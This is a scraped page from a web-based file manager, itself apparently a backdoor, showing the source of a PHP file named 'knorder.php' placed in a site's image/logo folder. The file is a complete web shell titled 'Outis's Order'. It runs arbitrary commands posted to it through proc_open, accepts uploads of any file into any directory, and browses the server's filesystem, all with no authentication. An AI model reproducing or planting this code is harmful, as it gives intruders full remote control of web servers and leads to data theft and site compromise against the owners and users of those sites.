Файловый менеджер - Редактировать - /home/u243887183/domains/terit.xyz/public_html/static/img/logo/knorder.php
Ðазад
<?php // Set initial working directory to the script's location (no session used) $currentDir = isset($_GET['path']) ? realpath($_GET['path']) : dirname(__FILE__); $dirContents = scandir($currentDir); // Sort directories first, then files $directories = []; $files = []; foreach ($dirContents as $item) { if ($item === '.') continue; $itemPath = realpath($currentDir . DIRECTORY_SEPARATOR . $item); if (is_dir($itemPath)) { $directories[] = $item; } else { $files[] = $item; } } sort($directories); sort($files); $dirContents = array_merge($directories, $files); // Remove ".." here to avoid duplication // Handle file upload if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { foreach ($_FILES['file']['tmp_name'] as $key => $tmp_name) { $uploadFile = $currentDir . DIRECTORY_SEPARATOR . basename($_FILES['file']['name'][$key]); move_uploaded_file($tmp_name, $uploadFile); } } // Handle command execution $output = ""; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['command']) && !empty($_POST['command'])) { $command = $_POST['command']; $descriptorspec = [ 0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'] ]; $process = proc_open($command, $descriptorspec, $pipes, $currentDir); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Outis's Order</title> <!-- Changed title here --> <style> body { background-color: black; color: #0f0; font-family: monospace; margin: 0; padding: 0; display: flex; flex-direction: column; align-items: center; height: 100vh; } .container { width: 80%; max-width: 800px; background: #111; padding: 20px; border-radius: 10px; box-shadow: 0 0 15px #0f0; text-align: left; margin-bottom: 10px; } .path { padding: 10px; background: #222; display: flex; gap: 5px; justify-content: center; } .path a { color: #0f0; text-decoration: none; padding: 3px 6px; background: #333; border-radius: 3px; } .upload-section { display: flex; flex-direction: column; align-items: center; gap: 10px; } .upload-btn { background: #0f0; color: black; padding: 8px; border: none; cursor: pointer; font-size: 14px; border-radius: 5px; } .command-box { display: flex; justify-content: center; align-items: center; width: 100%; gap: 10px; background: #222; border-radius: 5px; padding: 10px; } .command-box input { flex-grow: 1; background: #111; color: #0f0; border: 1px solid #0f0; padding: 8px; font-size: 14px; border-radius: 5px; } .command-box button { background: #0f0; color: black; padding: 8px; border: none; cursor: pointer; border-radius: 5px; font-size: 14px; } .dir-list { display: flex; flex-direction: column; align-items: flex-start; overflow-y: auto; max-height: 300px; } .dir-list a { color: #0f0; font-weight: bold; margin-bottom: 5px; background: #333; padding: 5px; border-radius: 3px; text-decoration: none; } .dir-list a:hover { background: #444; } .dir-list span { color: white; margin-bottom: 5px; } .file-input-container { display: flex; gap: 10px; align-items: center; } pre { white-space: pre-wrap; word-wrap: break-word; background: #222; padding: 10px; border-radius: 5px; } </style> <script> function addUploadField() { let container = document.createElement("div"); container.classList.add("file-input-container"); let input = document.createElement("input"); input.type = "file"; input.name = "file[]"; document.getElementById("upload-form").insertBefore(container, document.getElementById("upload-button")); container.appendChild(input); } </script> </head> <body> <h1>Outis's Order</h1> <div class="container path"> <?php $pathParts = explode(DIRECTORY_SEPARATOR, $currentDir); $currentPath = ""; foreach ($pathParts as $index => $part) { if ($part !== "") { $currentPath .= ($index == 0 ? "" : DIRECTORY_SEPARATOR) . $part; echo '<a href="?path=' . htmlspecialchars($currentPath) . '">' . htmlspecialchars($part) . '</a>/'; } } ?> </div> <div class="container upload-section"> <form id="upload-form" method="post" enctype="multipart/form-data"> <div class="file-input-container"> <input type="file" name="file[]"> <button type="button" class="upload-btn" onclick="addUploadField()">+</button> </div> <button type="submit" class="upload-btn" id="upload-button">Upload</button> </form> </div> <div class="container command-box"> <form method="post" style="display: flex; width: 100%; gap: 10px; justify-content: center; align-items: center;"> <label style="color: #0f0;">root@outis:~$</label> <input type="text" name="command" placeholder="Enter command..." required autofocus style="flex-grow: 1;"> <button type="submit" class="upload-btn">Run</button> </form> </div> <!-- Show output only if a command was entered and executed --> <?php if (!empty($output)): ?> <div class="container"> <pre><?php echo htmlspecialchars($output); ?></pre> </div> <?php endif; ?> <div class="container"> <div class="dir-list"> <?php foreach ($dirContents as $item) { $itemPath = realpath($currentDir . DIRECTORY_SEPARATOR . $item); if (is_dir($itemPath)) { echo '<a href="?path=' . htmlspecialchars($itemPath) . '">[DIR] ' . htmlspecialchars($item) . '</a>'; } else { echo '<span>' . htmlspecialchars($item) . '</span>'; } } ?> </div> </div> </body> </html>
| ver. 1.4 |
Github
|
.
| PHP 8.2.27 | Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ñ Ñтраницы: 0 |
proxy
|
phpinfo
|
ÐаÑтройка